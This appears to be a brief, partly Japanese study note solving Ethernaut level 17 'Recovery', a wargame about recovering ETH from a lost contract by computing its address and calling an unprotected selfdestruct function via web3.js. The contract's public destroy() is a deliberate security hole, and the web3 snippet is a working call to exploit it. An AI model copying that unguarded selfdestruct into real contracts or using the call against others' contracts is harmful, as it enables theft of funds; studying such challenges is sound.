✅ How to calculate new smart-contract address

CREATE keccack256(address, nonce)

Create2

Goal: To withdraw ETH from hidden Contract

  1. Finding Contract Address

  2. Destroy it

  3. Etherscanをみたらわかるよ

  4. Destroy Functionを実行する

contract SimpleToken {
	 ...
  // clean up after ourselves
  function destroy(address payable _to) public {
    selfdestruct(_to);
  }
}

実行する方法 >> call, delegatecallやら!

functionSignature = {
    name: 'destroy',
    type: 'function',
    inputs: [
        {
            type: 'address',
            name: '_to'
        }
    ]
}

params = [player]

data = web3.eth.abi.encodeFunctionCall(functionSignature, params)

await web3.eth.sendTransaction({from: player, to: tokenAddr, data})

Ethernaut

Ethernaut Hacks Level 17: Recovery